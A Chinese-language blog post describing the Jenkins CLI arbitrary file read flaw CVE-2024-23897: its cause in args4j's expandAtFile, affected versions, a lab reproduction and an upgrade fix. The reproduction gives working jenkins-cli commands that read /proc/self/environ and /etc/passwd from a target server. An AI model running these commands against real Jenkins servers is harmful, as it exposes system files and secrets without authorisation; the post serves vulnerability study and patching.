Jenkins 任意文件读取(CVE-2024-23897)修复及复现

Jenkins任意文件读取漏洞CVE-2024-23897修复及复现

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。

漏洞详情

Jenkins 有一个内置的命令行界面(CLI),可从脚本或 shell 环境访问 Jenkins。处理 CLI 命令时, Jenkins 使用args4j库解析 Jenkins 控制器上的命令参数和选项。

近日,Jenkins 处理 CLI 命令的命令解析器中的 expandAtFile 功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标 Jenkins 更改了默认 "Security" 配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。

影响范围

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

漏洞复现

1、访问http://靶场IP:8080 显示Jenkins页面

2、下载官方提供的命令行客户端

bash 复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

3、使用该工具读取目标服务器的/proc/self/environ文件

bash 复制代码
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"

4、使用该工具读取目标服务器的/etc/passwd文件

bash 复制代码
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd

5、java不兼容

如出现下图情况为java版本不兼容,卸载本机旧java,然后安装新版兼容的java版本即可。

修复建议

升级至安全版本

参考链接:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

官网下载:https://www.jenkins.io/download/

相关推荐
wanhengidc1 小时前
云手机可以息屏挂手游吗?
运维·网络·安全·游戏·智能手机
码熔burning1 小时前
Spring Security 深度学习(六): RESTful API 安全与 JWT
安全·spring·restful·springsecurity
Britz_Kevin1 小时前
从零开始的云计算生活——第五十九天,基于Jenkins自动打包并部署Tomcat环境
运维·jenkins·生活
子非鱼@Itfuture1 小时前
【Kafka】Kafka使用场景用例&Kafka用例图
分布式·中间件·kafka
m0_738120722 小时前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
Zacks_xdc3 小时前
【前端】使用Vercel部署前端项目,api转发到后端服务器
运维·服务器·前端·安全·react.js
中国胖子风清扬5 小时前
Rust 序列化技术全解析:从基础到实战
开发语言·c++·spring boot·vscode·后端·中间件·rust
盟接之桥5 小时前
盟接之桥说制造:在安全、确定与及时之间,构建品质、交期与反应速度的动态平衡
大数据·运维·安全·汽车·制造·devops
Suckerbin6 小时前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
喜葵6 小时前
前端安全防护深度实践:从XSS到供应链攻击的全面防御
前端·安全·xss